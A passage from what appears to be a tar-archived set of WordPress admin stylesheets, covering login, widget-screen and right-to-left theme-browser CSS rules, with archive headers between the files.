html.wp-toolbar { padding-top: 0; } .screen-reader-shortcut:focus { top: 7px; } #wpbody { padding-top: 46px; } /* Keep full-width boxes on Edit Post page from causing horizontal scroll */ div#post-body.metabox-holder.columns-1 { overflow-x: hidden; } h1.nav-tab-wrapper, .wrap h2.nav-tab-wrapper, .nav-tab-wrapper { border-bottom: 0; } h1 .nav-tab, h2 .nav-tab, h3 .nav-tab, nav .nav-tab { margin: 10px 0 0 10px; border-bottom: 1px solid #c3c4c7; } .nav-tab-active:hover, .nav-tab-active:focus, .nav-tab-active:focus:active { border-bottom: 1px solid #c3c4c7; } .wp-filter .search-form.search-plugins label { width: 100%; } } @media screen and (max-width: 480px) { .metabox-prefs-container { display: grid; } .metabox-prefs-container > * { display: inline-block; padding: 2px; } } @media screen and (max-width: 320px) { /* Prevent default center alignment and larger font for the Right Now widget when the network dashboard is viewed on a small mobile device. */ #network_dashboard_right_now .subsubsub { font-size: 14px; text-align: right; } } css/login.min.css 0000644 00000014757 15233246127 0007763 0 ustar 00 /*! This file is auto-generated */ body,html{height:100%;margin:0;padding:0}body{background:#f0f0f1;min-width:0;color:#3c434a;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;font-size:13px;line-height:1.4}a{color:var(--wp-admin-theme-color-darker-10);transition-property:border,background,color;transition-duration:.05s;transition-timing-function:ease-in-out}a{outline:0}a:active,a:hover{color:var(--wp-admin-theme-color-darker-20)}a:focus{color:#043959;box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9);outline:2px solid transparent}p{line-height:1.5}.login .message,.login .notice,.login .success{border-left:4px solid #3858e9;padding:8px 12px;margin-top:0;margin-left:0;margin-bottom:20px;background-color:#fff;word-wrap:break-word}.login .message p,.login .notice p,.login .success p{font-size:13px;line-height:1.54;margin:.5em 0}.login .success{border-left-color:#4ab866;background-color:#eff9f1}.login .notice-error{border-left-color:#cc1818;background-color:#fcf0f0}.login .login-error-list{list-style:none}.login .login-error-list li+li{margin-top:4px}#loginform p.submit,.login-action-lostpassword p.submit{border:none;margin:-10px 0 20px}.login *{margin:0;padding:0}.login .input::-ms-clear{display:none}.login .pw-weak{margin-bottom:15px}.login .button.wp-hide-pw{background:0 0;border:1px solid transparent;box-shadow:none;font-size:14px;line-height:normal;width:2.5rem;height:2.5rem;min-width:40px;min-height:40px;margin:0;padding:5px 9px;position:absolute;right:0;top:0}.login .button.wp-hide-pw:hover{background:0 0}.login .button.wp-hide-pw:focus{background:0 0;border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 1px var(--wp-admin-theme-color);outline:2px solid transparent}.login .button.wp-hide-pw:active{background:0 0;box-shadow:none;transform:none}.login .button.wp-hide-pw .dashicons{width:1.25rem;height:1.25rem}.login .wp-pwd{position:relative}.no-js .hide-if-no-js{display:none}.login form{margin:24px 0;padding:26px 24px;font-weight:400;overflow:hidden;background:#fff;border:1px solid #c3c4c7;box-shadow:0 1px 3px rgba(0,0,0,.04)}.login form.shake{animation:shake .2s cubic-bezier(.19,.49,.38,.79) both;animation-iteration-count:3;transform:translateX(0)}@keyframes shake{25%{transform:translateX(-20px)}75%{transform:translateX(20px)}100%{transform:translateX(0)}}@media (prefers-reduced-motion:reduce){.login form.shake{animation:none;transform:none}}.login-action-confirm_admin_email #login{width:60vw;max-width:650px;margin-top:-2vh}@media screen and (max-width:782px){.login-action-confirm_admin_email #login{box-sizing:border-box;margin-top:0;padding-left:4vw;padding-right:4vw;width:100vw}}.login form .forgetmenot{font-weight:400;float:left;margin-bottom:0}.login .button-primary{float:right}.login .reset-pass-submit{display:flex;flex-flow:row wrap;justify-content:space-between}.login .reset-pass-submit .button{display:inline-block;float:none;margin-bottom:6px}.login .admin-email-confirm-form .submit{text-align:center}.admin-email__later{text-align:left}.login form p.admin-email__details{margin:1.1em 0}.login .admin-email__heading{border-bottom:1px #f0f0f1 solid;color:#50575e;font-weight:400;padding-bottom:.5em;text-align:left}.admin-email__actions div{padding-top:1.5em}.login .admin-email__actions .button-primary{float:none;margin-left:.25em;margin-right:.25em}#login form p{margin-bottom:0}#login #reg_passmail,#login form .indicator-hint{margin-bottom:16px}#login form p.submit{margin:0;padding:0}.login label{font-size:14px;line-height:1.5;display:inline-block;margin-bottom:3px}.login .forgetmenot label,.login .pw-weak label{line-height:1.5;vertical-align:baseline}.login h1{text-align:center}.login h1 a{background-image:url(../images/w-logo-gray.png?ver=20260303);background-image:none,url(../images/wordpress-logo-gray.svg?ver=20260303);background-size:84px;background-position:center top;background-repeat:no-repeat;color:#3c434a;height:84px;font-size:20px;font-weight:400;line-height:1.3;margin:0 auto 24px;padding:0;text-decoration:none;width:84px;text-indent:-9999px;outline:0;overflow:hidden;display:block}#login{width:320px;padding:5% 0 0;margin:auto}.login #backtoblog,.login #nav{font-size:13px;padding:0 24px}.login #nav{margin:24px 0 0}#backtoblog{margin:16px 0;word-wrap:break-word}.login #backtoblog a,.login #nav a{text-decoration:none;color:#50575e}.login #backtoblog a:hover,.login #nav a:hover,.login h1 a:hover{color:var(--wp-admin-theme-color-darker-20)}.login #backtoblog a:focus,.login #nav a:focus,.login h1 a:focus{color:#043959}.login .privacy-policy-page-link{text-align:center;width:100%;margin:3em 0 2em}.login form .input,.login input[type=password],.login input[type=text]{font-size:24px;line-height:1.33333333;width:100%;border-width:.0625rem;padding:.1875rem .3125rem;margin:0 6px 16px 0;min-height:40px;max-height:none}.login input.password-input{font-family:Consolas,Monaco,monospace}.js.login input.password-input{padding-right:2.5rem}.js.login-action-resetpass input[type=password],.js.login-action-resetpass input[type=text],.js.login-action-rp input[type=password],.js.login-action-rp input[type=text]{margin-bottom:0}.login #pass-strength-result{font-weight:600;margin:-1px 5px 16px 0;padding:6px 5px;text-align:center;width:100%}body.interim-login{height:auto}.interim-login #login{padding:0;margin:5px auto 20px}.interim-login.login h1 a{width:auto}.interim-login #login_error,.interim-login.login .message{margin:0 0 16px}.interim-login.login form{margin:0}.screen-reader-text,.screen-reader-text span{border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important;word-break:normal!important}input::-ms-reveal{display:none}#language-switcher{padding:0;overflow:visible;background:0 0;border:none;box-shadow:none}#language-switcher select{margin-right:.25em}.language-switcher{margin:0 auto;padding:0 0 24px;text-align:center}.language-switcher label{margin-right:.25em}.language-switcher label .dashicons{width:auto;height:auto}.login .language-switcher .button{margin-bottom:0}@media screen and (max-height:550px){#login{padding:20px 0}#language-switcher{margin-top:0}}@media screen and (max-width:782px){.interim-login input[type=checkbox]{width:1rem;height:1rem}.interim-login input[type=checkbox]:checked:before{width:1.3125rem;height:1.3125rem;margin:-.1875rem 0 0 -.25rem}#language-switcher label,#language-switcher select{margin-right:0}}@media screen and (max-width:400px){.login .language-switcher .button{display:block;margin:5px auto 0}} css/widgets.css 0000644 00000042672 15233246127 0007534 0 ustar 00 /* General Widgets Styles */ .widget { margin: 0 auto 10px; position: relative; box-sizing: border-box; } .widget.open { z-index: 99; } .widget.open:focus-within { z-index: 100; } .widget-top { font-size: 13px; font-weight: 600; background: #f6f7f7; } .widget-top .widget-action { border: 0; margin: 0; padding: 10px; background: none; cursor: pointer; } .widget-title h3, .widget-title h4 { margin: 0; padding: 15px; font-size: 1em; line-height: 1; overflow: hidden; white-space: nowrap; text-overflow: ellipsis; -webkit-user-select: none; user-select: none; } .widgets-holder-wrap .widget-inside { border-top: none; padding: 1px 15px 15px; line-height: 1.23076923; } .widget.widget-dirty .widget-control-close-wrapper { display: none; } .in-widget-title, #widgets-right a.widget-control-edit, #available-widgets .widget-description { color: #646970; } .deleting .widget-title, .deleting .widget-top .widget-action .toggle-indicator:before { color: #a7aaad; } /* Media Widgets */ .wp-core-ui .media-widget-control.selected .placeholder, .wp-core-ui .media-widget-control.selected .not-selected, .wp-core-ui .media-widget-control .selected { display: none; } .media-widget-control.selected .selected { display: inline-block; } .media-widget-buttons { text-align: left; margin-top: 0; } .media-widget-control .media-widget-buttons .button { width: auto; height: auto; margin-top: 12px; white-space: normal; } .media-widget-buttons .button:first-child { margin-right: 8px; } .media-widget-control .attachment-media-view .button-add-media, .media-widget-control .placeholder { border: 1px dashed #c3c4c7; box-sizing: border-box; cursor: pointer; line-height: 1.6; padding: 9px 0; position: relative; text-align: center; width: 100%; } .media-widget-control .attachment-media-view .button-add-media { cursor: pointer; background-color: #f0f0f1; color: #2c3338; } .media-widget-control .attachment-media-view .button-add-media:hover { background-color: #fff; } .media-widget-control .attachment-media-view .button-add-media:focus { background-color: #fff; border-style: solid; border-color: #4f94d4; box-shadow: 0 0 3px rgba(34, 113, 177, 0.8); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; outline-offset: -2px; } .media-widget-control .media-widget-preview { background: transparent; text-align: center; } .media-widget-control .media-widget-preview .notice { text-align: initial; } .media-frame .media-widget-embed-notice p code, .media-widget-control .notice p code { padding: 0 3px 0 0; } .media-frame .media-widget-embed-notice { margin-top: 16px; } .media-widget-control .media-widget-preview img { max-width: 100%; vertical-align: middle; background-image: linear-gradient(45deg, #c3c4c7 25%, transparent 25%, transparent 75%, #c3c4c7 75%, #c3c4c7), linear-gradient(45deg, #c3c4c7 25%, transparent 25%, transparent 75%, #c3c4c7 75%, #c3c4c7); background-position: 0 0, 10px 10px; background-size: 20px 20px; } .media-widget-control .media-widget-preview .wp-video-shortcode { background: #000; } .media-frame.media-widget .media-toolbar-secondary { min-width: 300px; } .media-frame.media-widget .image-details .embed-media-settings .setting.align, .media-frame.media-widget .attachment-display-settings .setting.align, .media-frame.media-widget .embed-media-settings .setting.align, .media-frame.media-widget .embed-media-settings .legend-inline, .media-frame.media-widget .embed-link-settings .setting.link-text, .media-frame.media-widget .replace-attachment, .media-frame.media-widget .checkbox-setting.autoplay { display: none; } .media-widget-video-preview { width: 100%; } .media-widget-video-link { display: inline-block; min-height: 132px; width: 100%; background: #000; } .media-widget-video-link .dashicons { font: normal 60px/1 'dashicons'; position: relative; width: 100%; top: -90px; color: #fff; text-decoration: none; } .media-widget-video-link.no-poster .dashicons { top: 30px; } .media-frame #embed-url-field.invalid, .media-widget-image-link > .link:invalid { border: 1px solid #d63638; } .media-widget-image-link { margin: 1em 0; } .media-widget-gallery-preview { display: flex; justify-content: flex-start; flex-wrap: wrap; margin: -1.79104477%; } .media-widget-preview.media_gallery, .media-widget-preview.media_image { cursor: pointer; } .media-widget-preview .placeholder { background: #f0f0f1; } .media-widget-gallery-preview .gallery-item { box-sizing: border-box; width: 50%; margin: 0; background: transparent; } .media-widget-gallery-preview .gallery-item .gallery-icon { margin: 4.5%; } /* * Use targeted nth-last-child selectors to control the size of each image * based on how many gallery items are present in the grid. * See: https://alistapart.com/article/quantity-queries-for-css */ .media-widget-gallery-preview .gallery-item:nth-last-child(3):first-child, .media-widget-gallery-preview .gallery-item:nth-last-child(3):first-child ~ .gallery-item, .media-widget-gallery-preview .gallery-item:nth-last-child(n+5), .media-widget-gallery-preview .gallery-item:nth-last-child(n+5) ~ .gallery-item, .media-widget-gallery-preview .gallery-item:nth-last-child(n+6), .media-widget-gallery-preview .gallery-item:nth-last-child(n+6) ~ .gallery-item { max-width: 33.33%; } .media-widget-gallery-preview .gallery-item img { height: auto; vertical-align: bottom; } .media-widget-gallery-preview .gallery-icon { position: relative; } .media-widget-gallery-preview .gallery-icon-placeholder { position: absolute; top: 0; bottom: 0; width: 100%; box-sizing: border-box; display: flex; align-items: center; justify-content: center; background-color: rgba(0, 0, 0, 0.5); } .media-widget-gallery-preview .gallery-icon-placeholder-text { font-weight: 600; font-size: 2em; color: #fff; } /* Widget Dragging Helpers */ .widget.ui-draggable-dragging { min-width: 100%; } .widget.ui-sortable-helper { opacity: 0.8; } .widget-placeholder { border: 1px dashed #c3c4c7; margin: 0 auto 10px; height: 45px; width: 100%; box-sizing: border-box; } #widgets-right .widget-placeholder { margin-top: 0; } #widgets-right .closed .widget-placeholder { height: 0; border: 0; margin-top: -10px; } /* Widget Sidebars */ .sidebar-name { position: relative; box-sizing: border-box; } .js .sidebar-name { cursor: pointer; } .sidebar-name .handlediv { float: right; width: 38px; height: 38px; border: 0; margin: 0; padding: 8px; background: none; cursor: pointer; outline: none; } #widgets-right .sidebar-name .handlediv { margin: 5px 3px 0 0; } .sidebar-name .handlediv:focus { box-shadow: none; /* Only visible in Windows High Contrast mode */ outline: 1px solid transparent; } #widgets-left .sidebar-name .toggle-indicator { display: none; } #widgets-left .widgets-holder-wrap.closed .sidebar-name .toggle-indicator, #widgets-left .sidebar-name:hover .toggle-indicator, #widgets-left .sidebar-name .handlediv:focus .toggle-indicator { display: block; } .sidebar-name .toggle-indicator:before { padding: 1px 2px 1px 0; border-radius: 50%; } .sidebar-name .handlediv:focus .toggle-indicator:before { box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .sidebar-name h2, .sidebar-name h3 { margin: 0; padding: 8px 10px; overflow: hidden; white-space: normal; line-height: 1.5; } .widgets-holder-wrap .description { padding: 0 0 15px; margin: 0; font-style: normal; color: #646970; } .widget-holder .description, .inactive-sidebar .description { color: #50575e; } #widgets-right .widgets-holder-wrap .description { padding-left: 7px; padding-right: 7px; } /* Widgets 2-col Layout */ div.widget-liquid-left { margin: 0; width: 38%; float: left; } div.widget-liquid-right { float: right; width: 58%; } /* Widgets Left - Available Widgets */ div#widgets-left { padding-top: 12px; } div#widgets-left .closed .sidebar-name, div#widgets-left .inactive-sidebar.closed .sidebar-name { margin-bottom: 10px; } div#widgets-left .sidebar-name h2, div#widgets-left .sidebar-name h3 { padding: 10px 0; margin: 0 10px 0 0; } #widgets-left .widgets-holder-wrap, div#widgets-left .widget-holder { background: transparent; border: none; } #widgets-left .widgets-holder-wrap { border: none; box-shadow: none; } #available-widgets .widget { margin: 0; } #available-widgets .widget:nth-child(odd) { clear: both; } #available-widgets .widget .widget-description { display: block; padding: 10px 15px; font-size: 12px; overflow-wrap: break-word; word-wrap: break-word; -ms-word-break: break-all; word-break: break-word; hyphens: auto; } #available-widgets #widget-list { position: relative; } /* Inactive Sidebars */ #widgets-left .inactive-sidebar { clear: both; width: 100%; background: transparent; padding: 0; margin: 0 0 20px; border: none; box-shadow: none; } #widgets-left .inactive-sidebar.first { margin-top: 40px; } /* Not sure what this is for... */ div#widgets-left .inactive-sidebar .widget.expanded { left: auto; } .widget-title-action { float: right; position: relative; } div#widgets-left .inactive-sidebar .widgets-sortables { min-height: 42px; padding: 0; background: transparent; margin: 0; position: relative; } /* Widgets Right */ div#widgets-right .sidebars-column-1, div#widgets-right .sidebars-column-2 { max-width: 450px; } div#widgets-right .widgets-holder-wrap { margin: 10px 0 0; } div#widgets-right .sidebar-description { min-height: 20px; margin-top: -5px; } div#widgets-right .sidebar-name h2, div#widgets-right .sidebar-name h3 { padding: 15px 15px 15px 7px; } div#widgets-right .widget-top { padding: 0; } div#widgets-right .widgets-sortables { padding: 0 8px; margin-bottom: 9px; position: relative; min-height: 123px; } div#widgets-right .closed .widgets-sortables { min-height: 0; margin-bottom: 0; } .sidebar-name .spinner, .remove-inactive-widgets .spinner { float: none; position: relative; top: -2px; margin: -5px 5px; } .sidebar-name .spinner { position: absolute; top: 18px; right: 30px; } /* Dragging a widget over a closed sidebar */ #widgets-right .widgets-holder-wrap.widget-hover { border-color: #787c82; box-shadow: 0 1px 2px rgba(0, 0, 0, 0.3); } /* Accessibility Mode */ .widget-access-link { float: right; margin: -5px 0 10px 10px; } .widgets_access #widgets-left .widget .widget-top { cursor: auto; } .widgets_access #wpwrap .widgets-holder-wrap.closed .sidebar-description, .widgets_access #wpwrap .widgets-holder-wrap.closed .widget, .widgets_access #wpwrap .widget-control-edit { display: block; } .widgets_access #widgets-left .widget .widget-top:hover, .widgets_access #widgets-right .widget .widget-top:hover { border-color: #dcdcde; } #available-widgets .widget-control-edit .edit, #available-widgets .widget-action .edit, #widgets-left .inactive-sidebar .widget-control-edit .add, #widgets-left .inactive-sidebar .widget-action .add, #widgets-right .widget-control-edit .add, #widgets-right .widget-action .add { display: none; } .widget-control-edit { display: block; color: #646970; background: #f0f0f1; padding: 0 15px; line-height: 3.30769230; border-left: 1px solid #dcdcde; } #widgets-left .widget-control-edit:hover, #widgets-right .widget-control-edit:hover { color: #fff; background: #3c434a; border-left: 0; outline: 1px solid #3c434a; } .widgets-holder-wrap .sidebar-name, .widgets-holder-wrap .sidebar-description { -webkit-user-select: none; user-select: none; } .editwidget { margin: 0 auto; } .editwidget .widget-inside { display: block; padding: 0 15px; } .widget-control-actions { display: flex; align-items: center; justify-content: space-between; } .editwidget .widget-control-actions { margin-top: 20px; } .js .widgets-holder-wrap.closed .widget, .js .widgets-holder-wrap.closed .sidebar-description, .js .widgets-holder-wrap.closed .remove-inactive-widgets, .js .widgets-holder-wrap.closed .description, .js .closed br.clear { display: none; } .js .widgets-holder-wrap.closed .widget.ui-sortable-helper { display: block; } /* Hide Widget Settings by Default */ .widget-inside, .widget-description { display: none; } .widget-inside { background: #fff; } .widget-inside select { max-width: 100%; } /* Dragging widgets over the available widget area show's a "Deactivate" message */ #removing-widget { display: none; font-weight: 400; padding-left: 15px; font-size: 12px; line-height: 1; color: #000; } .js #removing-widget { color: #72aee6; } .widget-control-noform, #access-off, .widgets_access .widget-action, .widgets_access .handlediv, .widgets_access #access-on, .widgets_access .widget-holder .description, .no-js .widget-holder .description { display: none; } .widgets_access .widget-holder, .widgets_access #widget-list { padding-top: 10px; } .widgets_access #access-off { display: inline; } .widgets_access .sidebar-name, .widgets_access .widget .widget-top { cursor: default; } /* Widgets Area Chooser */ .widget-liquid-left #widgets-left.chooser #available-widgets .widget, .widget-liquid-left #widgets-left.chooser .inactive-sidebar { transition: opacity 0.1s linear; } .widget-liquid-left #widgets-left.chooser #available-widgets .widget, .widget-liquid-left #widgets-left.chooser .inactive-sidebar { /* -webkit-filter: blur(1px); */ opacity: 0.2; pointer-events: none; } .widget-liquid-left #widgets-left.chooser #available-widgets .widget-in-question { /* -webkit-filter: none; */ opacity: 1; pointer-events: auto; } .widgets-chooser ul, #widgets-left .widget-in-question .widget-top, #available-widgets .widget-top:hover, div#widgets-right .widget-top:hover, #widgets-left .widget-top:hover { border-color: #8c8f94; box-shadow: 0 1px 2px rgba(0, 0, 0, 0.1); } .widgets-chooser ul.widgets-chooser-sidebars { margin: 0; list-style-type: none; max-height: 300px; overflow: auto; } .widgets-chooser { display: none; } .widgets-chooser ul { border: 1px solid #c3c4c7; } .widgets-chooser li { border-bottom: 1px solid #c3c4c7; background: #fff; margin: 0; position: relative; } .widgets-chooser .widgets-chooser-button { width: 100%; padding: 10px 15px 10px 35px; background: transparent; border: 0; box-sizing: border-box; text-align: left; cursor: pointer; transition: background 0.2s ease-in-out; } /* @todo looks like these hover/focus states are overridden by .widgets-chooser-selected */ .widgets-chooser .widgets-chooser-button:hover, .widgets-chooser .widgets-chooser-button:focus { outline: none; text-decoration: underline; } .widgets-chooser li:last-child { border: none; } .widgets-chooser .widgets-chooser-selected .widgets-chooser-button { background: var(--wp-admin-theme-color, #3858e9); color: #fff; } .widgets-chooser .widgets-chooser-selected:before { content: "\f147"; content: "\f147" / ''; display: block; -webkit-font-smoothing: antialiased; font: normal 26px/1 dashicons; color: #fff; position: absolute; top: 7px; left: 5px; } .widgets-chooser .widgets-chooser-actions { padding: 10px 0 12px; text-align: center; } #available-widgets .widget .widget-top { cursor: pointer; } #available-widgets .widget.ui-draggable-dragging .widget-top { cursor: move; } /* =Specific widget styling -------------------------------------------------------------- */ .text-widget-fields { position: relative; } .text-widget-fields [hidden] { display: none; } .text-widget-fields .wp-pointer.wp-pointer-top { position: absolute; z-index: 3; top: 100px; right: 10px; left: 10px; } .text-widget-fields .wp-pointer .wp-pointer-arrow { left: auto; right: 15px; } .text-widget-fields .wp-pointer .wp-pointer-buttons { line-height: 1.4; } .custom-html-widget-fields > p > .CodeMirror { border: 1px solid #dcdcde; } .custom-html-widget-fields code { padding-top: 1px; padding-bottom: 1px; } ul.CodeMirror-hints { z-index: 101; /* Due to z-index 100 set on .widget.open */ } .widget-control-actions .custom-html-widget-save-button.button.validation-blocked { cursor: not-allowed; } /* =Media Queries -------------------------------------------------------------- */ @media screen and (max-width: 782px) { .widgets-holder-wrap .widget-inside input[type="checkbox"], .widgets-holder-wrap .widget-inside input[type="radio"], .editwidget .widget-inside input[type="checkbox"], /* Selectors for the "accessibility mode" page. */ .editwidget .widget-inside input[type="radio"] { margin: 0.25rem 0.25rem 0.25rem 0; } } @media screen and (max-width: 480px) { div.widget-liquid-left { width: 100%; float: none; border-right: none; padding-right: 0; } #widgets-left .sidebar-name { margin-right: 0; } #widgets-left #available-widgets .widget-top { margin-right: 0; } #widgets-left .inactive-sidebar .widgets-sortables { margin-right: 0; } div.widget-liquid-right { width: 100%; float: none; } div.widget { max-width: 480px; } .widget-access-link { float: none; margin: 15px 0 0; } } @media screen and (max-width: 320px) { div.widget { max-width: 320px; } } @media only screen and (min-width: 1250px) { #widgets-left #available-widgets .widget { width: 49%; float: left; } .widget.ui-draggable-dragging { min-width: 49%; } #widgets-left #available-widgets .widget:nth-child(even) { float: right; } #widgets-right .sidebars-column-1, #widgets-right .sidebars-column-2 { float: left; width: 49%; } #widgets-right .sidebars-column-1 { margin-right: 2%; } #widgets-right.single-sidebar .sidebars-column-1, #widgets-right.single-sidebar .sidebars-column-2 { float: none; width: 100%; margin: 0; } } css/themes-rtl.min.css 0000644 00000103030 15233246127 0010716 0 ustar 00 /*! This file is auto-generated */ .themes-php{overflow-y:scroll}.themes-php #adminmenuwrap{z-index:10001}body.js .theme-browser.search-loading{display:none}.theme-browser .themes{clear:both}.themes-php .wrap h1 .button{margin-right:20px}.themes-php .search-form{display:inline-flex;align-items:center;position:relative;top:0;gap:.5rem;width:100%;justify-content:end}.themes-php .wp-filter-search{position:relative;margin:0;width:280px}.theme .notice,.theme .notice.is-dismissible{right:0;margin:0;position:absolute;left:0;top:0}.theme-browser .theme{cursor:pointer;float:right;margin:0 0 4% 4%;position:relative;width:30.6%;background:#fff;border:1px solid rgb(0,0,0,.1);border-radius:8px;box-sizing:border-box;overflow:hidden}.theme-browser .theme:nth-child(3n){margin-left:0}.theme-browser .theme.focus,.theme-browser .theme:hover{cursor:pointer}.theme-browser .theme .theme-name{font-size:15px;font-weight:600;height:18px;margin:0;padding:16px 15px;border-top:1px solid rgb(0,0,0,.1);overflow:hidden;white-space:nowrap;text-overflow:ellipsis;background:#fff}.theme-browser .theme .theme-actions{opacity:0;transition:opacity .1s ease-in-out;height:auto;background:rgba(246,247,247,.7);border-right:1px solid rgba(0,0,0,.05)}.theme-browser .theme.focus .theme-actions,.theme-browser .theme:hover .theme-actions{opacity:1}.theme-browser .theme .theme-actions .button-primary{margin-left:3px}.theme-browser .theme .theme-actions .button,.theme-browser .theme .theme-actions .button.updated-message,.theme-browser .theme .theme-actions .button.updating-message{float:none;margin-right:3px}.theme-browser .theme .theme-actions .button.updated-message::before,.theme-browser .theme .theme-actions .button.updating-message::before{line-height:1;vertical-align:text-bottom;position:relative;top:2px}.theme-browser .theme .theme-actions .button:not(.button-primary){background:#fff}.theme-browser .theme .theme-actions .button:not(.button-primary):hover{background:#f0f0f0}.theme-browser .theme .theme-actions .button:not(.button-primary):focus{background:#fff}.theme-browser .theme .theme-screenshot{display:block;overflow:hidden;position:relative;-webkit-backface-visibility:hidden;transition:opacity .2s ease-in-out}.theme-browser .theme .theme-screenshot:after{content:"";display:block;padding-top:66.66666%}.theme-browser .theme .theme-screenshot img{height:auto;position:absolute;right:0;top:0;width:100%;transition:opacity .2s ease-in-out}.theme-browser .theme.focus .theme-screenshot,.theme-browser .theme:hover .theme-screenshot{background:#fff}.theme-browser.rendered .theme.focus .theme-screenshot img,.theme-browser.rendered .theme:hover .theme-screenshot img{opacity:.4}.theme-browser .theme .more-details{opacity:0;position:absolute;top:35%;left:20%;right:20%;width:60%;background:#1d2327;background:rgba(0,0,0,.7);color:#fff;font-size:15px;text-shadow:0 1px 0 rgba(0,0,0,.6);-webkit-font-smoothing:antialiased;font-weight:600;padding:15px 12px;text-align:center;border-radius:3px;border:none;transition:opacity .1s ease-in-out;cursor:pointer}.theme-browser .theme .more-details:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9)}.theme-browser .theme.focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9);outline:2px solid transparent}.theme-browser .theme.focus .more-details{opacity:1}.theme-browser .theme.active.focus .theme-actions{display:block}.theme-browser.rendered .theme.focus .more-details,.theme-browser.rendered .theme:hover .more-details{opacity:1}.theme-browser .theme.active .theme-name{background:#1d2327;color:#fff;padding-left:115px;font-weight:300;box-shadow:inset 0 1px 1px rgba(0,0,0,.5)}.theme-browser .customize-control .theme.active .theme-name{padding-left:15px}.theme-browser .theme.active .theme-name span{font-weight:600}.theme-browser .theme.active .theme-actions{background:0 0;border-right:none;opacity:1}.theme-browser .theme.active .theme-actions .button-primary{border-color:#fff}.theme-id-container{position:relative}.theme-browser .theme .theme-actions,.theme-browser .theme.active .theme-actions{position:absolute;top:50%;transform:translateY(-50%);left:0;padding:9px 12px}.theme-browser .theme:not(.active) .theme-actions{box-shadow:inset 0 1px 0 rgba(0,0,0,.1)}.theme-browser .theme.active .theme-actions .button-primary{margin-left:0}.theme-browser .theme.active .theme-actions .button:not(.button-primary){background:#fff}.theme-browser .theme.active .theme-actions .button:not(.button-primary):hover{background:#f0f0f0}.theme-browser .theme.active .theme-actions .button:not(.button-primary):focus{background:#fff}.theme-browser .theme .theme-author{background:#1d2327;color:#f0f0f1;display:none;font-size:14px;margin:0 10px;padding:5px 10px;position:absolute;bottom:56px}.theme-browser .theme.display-author .theme-author{display:block}.theme-browser .theme.display-author .theme-author a{color:inherit}.theme-browser .theme.add-new-theme{background:0 0;border:none;overflow:visible}.theme-browser .theme.add-new-theme a{text-decoration:none;display:block;position:relative;z-index:1}.theme-browser .theme.add-new-theme a:after{display:block;content:"";background:0 0;background:rgba(0,0,0,0);position:absolute;top:0;right:0;left:0;bottom:0;padding:0;text-shadow:none;border:5px dashed #dcdcde;border:5px dashed rgba(0,0,0,.1);box-sizing:border-box}.theme-browser .theme.add-new-theme span:after{background:#dcdcde;background:rgba(140,143,148,.1);border-radius:50%;display:inline-block;content:"\f132";content:"\f132"/'';-webkit-font-smoothing:antialiased;font:normal 74px/115px dashicons;width:100px;height:100px;vertical-align:middle;text-align:center;color:#8c8f94;position:absolute;top:30%;right:50%;margin-right:-50px;text-indent:-4px;padding:0;text-shadow:none;z-index:4}.rtl .theme-browser .theme.add-new-theme span:after{text-indent:4px}.theme-browser .theme.add-new-theme a:focus .theme-screenshot,.theme-browser .theme.add-new-theme a:hover .theme-screenshot{background:0 0}.theme-browser .theme.add-new-theme a:focus span:after,.theme-browser .theme.add-new-theme a:hover span:after{background:#fff;color:#2271b1}.theme-browser .theme.add-new-theme a:focus:after,.theme-browser .theme.add-new-theme a:hover:after{border-color:transparent;color:#fff;background:#2271b1;content:""}.theme-browser .theme.add-new-theme .theme-name{background:0 0;border:none;text-align:center;font-weight:400;position:relative;top:0;margin-top:-18px;padding-top:0;padding-bottom:48px}.theme-browser .theme.add-new-theme a:focus .theme-name,.theme-browser .theme.add-new-theme a:hover .theme-name{color:#fff;z-index:2}.theme-overlay .theme-backdrop{position:absolute;right:-20px;left:0;top:0;bottom:0;background:#f0f0f1;background:rgba(240,240,241,.9);z-index:10000;min-height:calc(100vh - var(--wp-admin--admin-bar--height,32px))}.theme-overlay .theme-header{position:absolute;top:0;right:0;left:0;height:48px;border-bottom:1px solid #dcdcde}.theme-overlay .theme-header button{padding:0}.theme-overlay .theme-header .close{cursor:pointer;height:48px;width:50px;text-align:center;float:left;border:0;border-right:1px solid #dcdcde;background-color:transparent;transition:color .1s ease-in-out,background .1s ease-in-out}.theme-overlay .theme-header .close:before{font:normal 22px/50px dashicons!important;color:#787c82;display:inline-block;content:"\f335";content:"\f335"/'';font-weight:300}.theme-overlay .theme-header .left,.theme-overlay .theme-header .right{cursor:pointer;color:#787c82;background-color:transparent;height:48px;width:54px;float:right;text-align:center;border:0;border-left:1px solid #dcdcde;transition:color .1s ease-in-out,background .1s ease-in-out}.theme-overlay .theme-header .close:focus,.theme-overlay .theme-header .close:hover,.theme-overlay .theme-header .left:focus,.theme-overlay .theme-header .left:hover,.theme-overlay .theme-header .right:focus,.theme-overlay .theme-header .right:hover{background:#dcdcde;border-color:#c3c4c7;color:#000}.theme-overlay .theme-header .close:focus:before,.theme-overlay .theme-header .close:hover:before{color:#000}.theme-overlay .theme-header .close:focus,.theme-overlay .theme-header .left:focus,.theme-overlay .theme-header .right:focus{box-shadow:none;outline:0}.theme-overlay .theme-header .left.disabled,.theme-overlay .theme-header .left.disabled:hover,.theme-overlay .theme-header .right.disabled,.theme-overlay .theme-header .right.disabled:hover{color:#c3c4c7;background:inherit;cursor:inherit}.theme-overlay .theme-header .left:before,.theme-overlay .theme-header .right:before{font:normal 20px/50px dashicons!important;display:inline;font-weight:300}.theme-overlay .theme-header .left:before{content:"\f345";content:"\f341"/''}.theme-overlay .theme-header .right:before{content:"\f341";content:"\f345"/''}.theme-overlay .theme-wrap{clear:both;position:fixed;top:9%;right:190px;left:30px;bottom:3%;background:#fff;box-shadow:0 1px 20px 5px 